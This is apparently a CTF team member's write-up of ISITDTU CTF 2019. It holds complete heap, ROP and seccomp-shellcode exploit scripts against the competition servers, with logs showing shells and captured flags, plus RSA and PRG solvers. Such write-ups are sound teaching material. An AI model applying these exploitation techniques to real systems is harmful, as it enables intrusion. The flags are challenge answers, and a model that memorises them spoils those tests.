ISITDTU CTF 2019 took place from June 29th for 25 hours.
I played this CTF in zer0pts
and we reached the 10th place.
Thank you for holding the CTF. I enjoyed it :-)
- [Pwn 395] iz_heap_lv1
- [Pwn 908] Tokenizer
- [Pwn 738] babyshellcode
- [Cryptography 239] Old story
- [Pwn 676] iz_heap_lv2
- [Cryptography 100] Easy RSA 1
- [Cryptography 919] Easy RSA 2
- [Reverse 100] Recovery
- [Cryptography 395] decrypt to me
- [Reverse 971] "3006"
- Overall comment
My writeups and tasks are here.
Server: nc 165.22.110.249 3333 Files: iz_heap_lv1, libc.so.6
It's a heap challenge.
At first glance it has no UAF or heap overflow.
However, the binary has some errors on checking the index and the size.
As the name is next to the list and it can be modified, we can put some fake pointers in the name and make the program use them.
I put a fake pointer and a fake chunk in the name.
Since we can change the name after freeing the fake pointer, we can modify the link in tcache.
I first made a fake big chunk and a fake next chunk in this way and leaked the libc address.
After that I just overwrote __free_hook
pointer.
from ptrlib import * def add(size, data): sock.sendlineafter("Choice: \n", "1") sock.sendlineafter("size: ", str(size)) sock.sendafter("data: ", data) def edit(index, size, data): sock.sendlineafter("Choice: \n", "2") sock.sendlineafter("index: ", str(index)) sock.sendlineafter("size: ", str(size)) sock.sendafter("data: ", data) def delete(index): sock.sendlineafter("Choice: \n", "3") sock.sendlineafter("index: ", str(index)) def show_name(name=None): sock.sendlineafter("Choice: \n", "4") if name is None: sock.sendlineafter("(Y/N)", "N") else: sock.sendlineafter("(Y/N)", "Y") sock.sendafter("name: ", name) sock.recvuntil("Name: ") return sock.recvline() libc = ELF("./libc.so.6") sock = Socket("165.22.110.249", 3333) addr_list = 0x602060 addr_name = 0x602100 libc_main_arena = 0x3ebc40 delta = 0x60 fake_list = p64(addr_name + 0x20) + p64(0) fake_chunk = p64(0) + p64(0x31) sock.sendlineafter("name: ", fake_list + fake_chunk) add(0x20, "AAA") delete(0) delete(20) addr_heap = u64(show_name("A" * 0x20)[0x20:]) + 0x30 logger.info("addr heap = " + hex(addr_heap)) add(0x30, "AAA") add(0x40, "AAA") add(0x50, "AAA") add(0x60, "/bin/sh\x00") show_name(p64(addr_heap)) delete(0) delete(20) add(0x30, p64(addr_name + 0x20 + 0xa00)) add(0x30, p64(addr_heap)) add(0x30, p64(0) + p64(0x21)) fake_list = p64(addr_heap + 0x40) + p64(addr_name + 0x20) fake_chunk = p64(0) + p64(0xa11) show_name(fake_list + fake_chunk) delete(1) delete(20) add(0x40, p64(addr_name + 0x20 + 0xa00 + 0x20)) add(0x40, p64(addr_heap)) add(0x40, p64(0) + p64(0x21)) delete(21) libc_base = u64(show_name("A" * 0x20)[0x20:]) - libc_main_arena - delta logger.info("libc base = " + hex(libc_base)) show_name(p64(addr_heap + 0x90)) delete(2) delete(20) add(0x50, p64(libc_base + libc.symbol("__free_hook"))) add(0x50, "dummy") add(0x50, p64(libc_base + libc.symbol("system"))) delete(3) sock.interactive()
Good.
$ python solve.py [+] __init__: Successfully connected to 165.22.110.249:3333 [+] <module>: addr heap = 0x1732290 [+] <module>: libc base = 0x7f010da8f000 [ptrlib]$ cat /home/iz_heap_lv1/flag ISITDTU{d800dab9684113a5d6c7d2c0381b48c1553068bc}
Server: nc 165.22.57.24 32000 Files: tokenizer, libc-2.27.so
It's a c++ binary which splits an input by some delimiters.
The first vulnerability lies in the stack layout and the strncpy
function.
It copies 0x400 bytes to the local variable and prints the variable.
And the saved rbp is right next to the variable, which means we can leak the saved rbp.
Also, by passing the least byte of the saved rbp as a delimiter, it will be changed into null by strsep
(because the saved rbp is recognized as a part of the string).
So, by changing the saved rbp, we may control the RIP after leave; ret;
in main
.
Make sure to replace every \x00 in your payload to another byte since std::cin
won't accept null bytes.
We can change them back into null by putting the byte in the delimiters.
In the first stage I leaked the libc address using std::cout
and then returned to main
for the 2nd stage.
In the second stage I called the one gadget RCE.
I made the last part of the first payload to be "\x00\x00..." in order to meet the constraints of the one gadget RCE.
from ptrlib import * libc = ELF("./libc-2.27.so") elf = ELF("./tokenizer") libc_one_gadget = 0x10a38c addr_main = 0x40133c addr_st_cout = 0x404020 addr_cout = 0x401080 rop_pop_rsi_r15 = 0x00401499 rop_pop_rdi = 0x0040149b base_payload = b'' base_payload += p64(rop_pop_rsi_r15) base_payload += p64(elf.got("alarm")) base_payload += p64(0xdeadbeef) base_payload += p64(rop_pop_rdi) base_payload += p64(addr_st_cout) base_payload += p64(addr_cout) base_payload += p64(addr_main) payload = base_payload * ((0x400 - 8) // len(base_payload)) payload = payload[16:0x400 - 0x80] payload += b'\xaa' * (0x400 - len(payload)) payload = payload.replace(b'\x00', b'\xaa') while True: sock = Socket("165.22.57.24", 32000) sock.recvuntil("characters): ") sock.sendline(payload) sock.recvuntil(": ") addr_stack = sock.recvline()[0x400:] logger.info("addr stack = " + hex(u64(addr_stack))) if addr_stack == b'' or addr_stack[0] == 0x10: logger.warn("Bad luck!") sock.close() continue target = bytes([addr_stack[0]]) + b'\xaa' if target in payload or addr_stack[0] != 0xf0: logger.warn("Bad luck!") sock.close() continue break sock.recvuntil(": ") sock.sendline(target) sock.recvuntil(addr_stack[-2:] + b"\n") recv = sock.recvuntil("Welcome") libc_base = u64(recv.rstrip(b"Welcome")) - libc.symbol("alarm") logger.info("libc base = " + hex(libc_base)) payload = p64(libc_base + libc_one_gadget) * (0x400 // 8) payload = payload.replace(b'\x00', b'\xaa') sock.recvuntil("characters): ") sock.sendline(payload) sock.recvuntil(": ") target = b'\x38\xaa' sock.recvuntil(": ") sock.sendline(target) sock.interactive()
Yay!!
$ python solve.py [+] __init__: Successfully connected to 165.22.57.24:32000 [+] <module>: addr stack = 0x7ffc413b36e0 [+] <module>: Bad luck! [+] close: Connection to 165.22.57.24:32000 closed [+] __init__: Successfully connected to 165.22.57.24:32000 [+] close: Connection to 165.22.57.24:32000 closed [+] <module>: addr stack = 0x7fff983f98c0 [+] <module>: Bad luck! [+] close: Connection to 165.22.57.24:32000 closed [+] __init__: Successfully connected to 165.22.57.24:32000 [+] close: Connection to 165.22.57.24:32000 closed [+] <module>: addr stack = 0x7fffe370e1d0 [+] <module>: Bad luck! [+] close: Connection to 165.22.57.24:32000 closed [+] __init__: Successfully connected to 165.22.57.24:32000 [+] close: Connection to 165.22.57.24:32000 closed [+] <module>: addr stack = 0x7fff8a821890 [+] <module>: Bad luck! [+] close: Connection to 165.22.57.24:32000 closed [+] __init__: Successfully connected to 165.22.57.24:32000 [+] close: Connection to 165.22.57.24:32000 closed [+] <module>: addr stack = 0x7ffce87c2240 [+] <module>: Bad luck! [+] close: Connection to 165.22.57.24:32000 closed [+] __init__: Successfully connected to 165.22.57.24:32000 [+] close: Connection to 165.22.57.24:32000 closed [+] <module>: addr stack = 0x7fff96e66e80 [+] <module>: Bad luck! [+] close: Connection to 165.22.57.24:32000 closed [+] __init__: Successfully connected to 165.22.57.24:32000 [+] close: Connection to 165.22.57.24:32000 closed [+] <module>: addr stack = 0x7ffd95bf9860 [+] <module>: Bad luck! [+] close: Connection to 165.22.57.24:32000 closed [+] __init__: Successfully connected to 165.22.57.24:32000 [+] close: Connection to 165.22.57.24:32000 closed [+] <module>: addr stack = 0x7ffc52405910 [+] <module>: Bad luck! [+] close: Connection to 165.22.57.24:32000 closed [+] __init__: Successfully connected to 165.22.57.24:32000 [+] close: Connection to 165.22.57.24:32000 closed [+] <module>: addr stack = 0x7ffe58d49710 [+] <module>: Bad luck! [+] close: Connection to 165.22.57.24:32000 closed [+] __init__: Successfully connected to 165.22.57.24:32000 [+] close: Connection to 165.22.57.24:32000 closed [+] <module>: addr stack = 0x7fff23b686f0 [+] <module>: libc base = 0x7fbea1ccc000 [ptrlib]$ ls chall flag redir.sh [ptrlib]$ cat flag ISITDTU{H3LL0_H4PPY_W0RLD}
Server: nc 209.97.162.170 2222 Files: babyshellcode
It's a shellcode challenge but the seccomp is enabled.
Every syscall except for alarm
is banned. WTF.
The binary first reads the flag into the heap and generates an 8-byte key from /dev/urandom
.
Then it xors the flag with the key.
We can calculate the key since the flag starts with ISITDTU{
.
Also we can find the rest part of the flag by Time-base attack.
Although the server won't response until 3 seconds pass, we can force the binary to print an error by using the alarm
syscall.
In this way I leaked the flag byte by byte.
from pwn import * import string table = string.printable[:-5] flag = "ISITDTU{" while True: x = len(flag) for c in table: sock = remote("209.97.162.170", 2222) shellcode = asm(""" // rdi = XOR KEY mov rsi, 0xcafe000 mov rdi, [rsi] mov rbx, 0x7b55544454495349 xor rdi, rbx // shift key xor rbx, rbx mov al, {x} mov bl, 8 div rbx imul rdx, rbx mov rcx, rdx shr rdi, cl mov al, [rsi + {x}] xor rax, rdi cmp al, {c} jz loop xor rdi, rdi inc edi mov rax, 0x25 syscall loop: jmp loop """.format(x=x, c=ord(c)), arch="amd64") assert len(shellcode) < 0x46 sock.sendline(shellcode) try: if "timeout" in sock.recv(): flag += c break except KeyboardInterrupt: exit() except: flag += c break sock.close() else: print("Something went wrong!") exit() print(flag)
Description: This is an old story about wheat and chessboard, and it's easy, right? File: cipher.txt
As the description says it's about the wheat and chessboard problem. We can easily find the index but how can we find the flag? I noticed the chessboard has 64 squares, which indicates the base64 encoding.
import math import string import base64 with open("cipher.txt") as f: buf = f.read() table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" nlist = map(int, buf[1:-1].split(",")) flag = "" for n in nlist: x = int(math.log2(n)) flag += table[x - 1] print(base64.b64decode(flag))
Hmm, guessing.
$ python solve.py b'ISITDTU{r1c3_che55b0ard_4nd_bs64}'
Server: nc 165.22.110.249 4444 Files: iz_heap_lv2, libc.so.6
It's an another heap challenge. Similar to the previous one, it has multiple errors on size checking but the index checking is fixed. However, the binary has an off-by-null vulnerability in the read function. Libc leak is easy because the size check is not fixed. I made some large chunk in order to cause an overlap. Be noticed that the libc version is 2.27 and tcache is enabled.
from ptrlib import * def add(size, data): sock.sendlineafter("Choice: \n", "1") sock.sendlineafter("size: ", str(size)) sock.sendafter("data: ", data) def edit(index, data): sock.sendlineafter("Choice: \n", "2") sock.sendlineafter("index: ", str(index)) sock.sendafter("data: ", data) def delete(index): sock.sendlineafter("Choice: \n", "3") sock.sendlineafter("index: ", str(index)) def show(index): sock.sendlineafter("Choice: \n", "4") sock.sendlineafter("index: ", str(index)) sock.recvuntil("Data: ") return sock.recvline() libc = ELF("./libc.so.6") libc_main_arena = 0x3ebc40 libc_one_gadget = 0x4f322 delta = 0x60 sock = Socket("165.22.110.249", 4444) add(0x4f7, "B") add(0x4f7, "A") delete(0) delete(1) add(0x4f7, "A" * 8) libc_base = u64(show(0)[8:]) - libc_main_arena - delta logger.info("libc base = " + hex(libc_base)) add(0x410, "1111") add(0x28, "2222") add(0x4f0, "3333") add(0x20, "44444") delete(1) edit(2, b"2" * 0x20 + p64(0x450)) delete(3) delete(2) payload = b'A' * 0x418 + p64(0x31) + p64(libc_base + libc.symbol("__free_hook")) add(0x800, payload) add(0x27, "dummy") add(0x27, p64(libc_base + libc_one_gadget)) delete(2) sock.interactive()
Perfect!
$ python solve.py [+] __init__: Successfully connected to 165.22.110.249:4444 [+] <module>: libc base = 0x7f5d489c5000 [ptrlib]$ cat /home/iz_heap_lv2/flag ISITDTU{TcAch3_C4ch3_F1LL1Ng_UnL1NKKKKKK_1Z_h34P_LvTw0}
Description: Let's warm up with RSA File: task
Apply the Boneh Durfee attack.
Description: Let's continue with RSA File: task.py
It's a multi-prime RSA with . Since and , we can apply the Fermat attack to factorize . After finding the two pairs, we just have to take the gcd to find , , and .
fermat.py:
import sys def isqrt(n): x = n y = (x + 1) // 2 while y < x: x = y y = (x + n//x) // 2 return x def is_square(n): if not n % 48 in (0, 1, 4, 9, 16, 25, 33, 36): return False x = isqrt(n) return x*x == n def fermat(n): a = isqrt(n) while True: b2 = a*a - n while not is_square(b2): a += 1 b2 = a*a - n n11 = a - isqrt(b2) n12 = n // n11 if n11 * n12 == n: print(n11) print(n12) a += 1 if __name__ == '__main__': n = 8573641536164485111081609341110540574423426701587222458588002464807917555910942077276167528046769327390058096169685188870928286845342631974847171845103806710768418462668311621275704636581042137915505959767806384415314024549489538717607173007829067492516776714817262226691787436227002924225311861164296655909746846329870548266285498682510415418053656271623482202491805513797215793596385014264449282551352796096361524482384994633912515104414237252657058698433260597636367614328512751722615849959987780969423318207123668118325176544879335267439096589035064596631756303300860315257404427016819145298919974287174103934503 fermat(n)
solve.py:
import itertools import math import gmpy2 c = 8436043641135865531308468859210199431445831063674810351906331674115825605849862045115409554309732867926457428348729196827592921108183774070414343257409618631078896543782150761081732376735501920417229787663210936174854000594130785353102718054331606096192133481536724402629697019651921188121029927710787682993814748802295545306899075962041017278877203965796981792702098381465051289581518257202127401748725944229037078896857591660248467597356051123218945757343652461844056927461929195427880969904210166880623689090977714615839624798930450630919330253477634839161931755642681718034910946900928731231093352169252474939674 a1 = 92593960581478990492272892082797582837598460722110672289472622026362327649808629839901870926342611079306340852878894165246912369940368199994436453135375408481531310003733935540422655297910944762679239039783193372674051452613244254750117673971732027355424665752849172881712190463569600293779394868475158854447 a2 = 92593960581478990492272892082797582837598460722110672289472622026362327649808629839901870926342611079306340852878894165246912369940368199994436453135377198629507140256023102013131493810077402487620597574150419252484604398426042348936643985371724093575122287222535733709825807203222224632574777263054682547849 b1 = 92593960581478990492272892082797582837598460722110672289472622026362327649808629839901870926342611079306340852878894165246912369940368199994436453135371868180973368561805750413511255786784693350508599993560583740157301325382357815783643311448396307382917648462953229481373105936696186417725004199901537674201 b2 = 92593960581478990492272892082797582837598460722110672289472622026362327649808629839901870926342611079306340852878894165246912369940368199994436453135380738930065081697951287140042893321203653899791236620373028885001354525656928787903118347895059813547629304512431677110164891730095638508629167931628303931903 assert a1 * a2 == b1 * b2 e = 65537 p1 = math.gcd(a1, b1) q1 = math.gcd(a2, b1) p2 = math.gcd(a1, b2) q2 = math.gcd(a2, b2) print("p1 = {}".format(p1)) print("p2 = {}".format(p2)) print("q1 = {}".format(q1)) print("q2 = {}".format(q2)) n = p1 * p2 * q1 * q2 phi = (p1 - 1) * (p2 - 1) * (q1 - 1) * (q2 - 1) d = gmpy2.invert(e, phi) m = pow(c, d, n) print(bytes.fromhex(hex(m)[2:]))
$ python solve.py p1 = 9171763103475238155920017905180080637957026348805819229558633463083231168099582814700421044911191638619215776932495855800737116252367554545053545527516011 p2 = 10095546465476693593468938674693225933161244530298448086809682438074001976675252183713397582060201121599694620421409523584661489632648134185176255971865677 q1 = 10095546465476693593468938674693225933161244530298448086809682438074001976675252183713397582060201121599694620421409523584661489632648134185176255971865291 q2 = 9171763103475238155920017905180080637957026348805819229558633463083231168099582814700421044911191638619215776932495855800737116252367554545053545527516539 b'ISITDTU{C0ngratu1ati0ns_Attack_RSA_Multi_prim3!!!!}'
Description: Could you help me recovery my number? File: recovery Note: The flag is not in flag format, please wrap it in format when you submit. ISITDTU{x, y, z, ...} Update: "Pre-order" File: recovery.jar
As I decompiled the binary and read the source code, I found it takes a sequence of numbers and makes it inorder and postorder, then compares them to the correct ones. I just calculated the preorder input from the inorder and postorder ones.
Description: decrypt to me????? File: task.py
Just write the decoder which takes the reversed process of the encoder.
import binascii def generate_prg_bit(n): state = n while True: last_bit = state & 1 yield last_bit middle_bit = state >> len(bin(n)[2:])//2 & 1 state = (state >> 1) | ((last_bit ^ middle_bit) << (len(bin(n)[2:])-1)) cipher = "OKQI+f9R+tHEJJGcfko7Ahy2AuL9c8hgtYT2k9Ig0QyXUvsj1B9VIGUZVPAP2EVD8VmJBZbF9e17".decode("base64") n = int(binascii.hexlify(cipher), 16) cipher_bits = [int(i) for i in bin(n)[2:]] approx_len = len(bin(n)[2:]) for l in range(approx_len, approx_len + 8): prg = generate_prg_bit(l) mtext = [] bits = [0 for i in range(l - approx_len)] + cipher_bits for i in range(l): mtext.append(bits[i] ^ next(prg)) flag = int(''.join(map(str, mtext)), 2) try: print(hex(flag)[2:].rstrip("L").decode("hex")) except: pass
Description: Install it!!! File: warmup-1.0-cp37-cp37m-linux_x86_64.whl, warmup.so
I installed the wheel and checked the methods.
$ python Python 3.7.3 (default, May 8 2019, 14:01:53) [GCC 7.4.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import warmup >>> help(warmup) Help on module warmup: NAME warmup FUNCTIONS print_something(...) DATA __test__ = {} FILE /home/ptr/isitdtu/warmup/warmup/warmup.so
I passed 3006
as the challenge title said and found the flag.
>>> warmup.print_something(b"3006") ISITDTU{Cy7h0n_1s_So_Funnnn^_^}
wOA!?
I tried some challenges of pwn, crypto, rev and misc.
Good point
- Pwn challs are good.
- Crypto challs are okay.
- The admin were online throughout the CTF and provided quick support.
Bad point
- Some of rev challs are bad.
- Misc is the worst. Too many guessing challenges.
- The scoreboard was not stable and heavy. (as is the way with the most of ctfs using CTFd :P)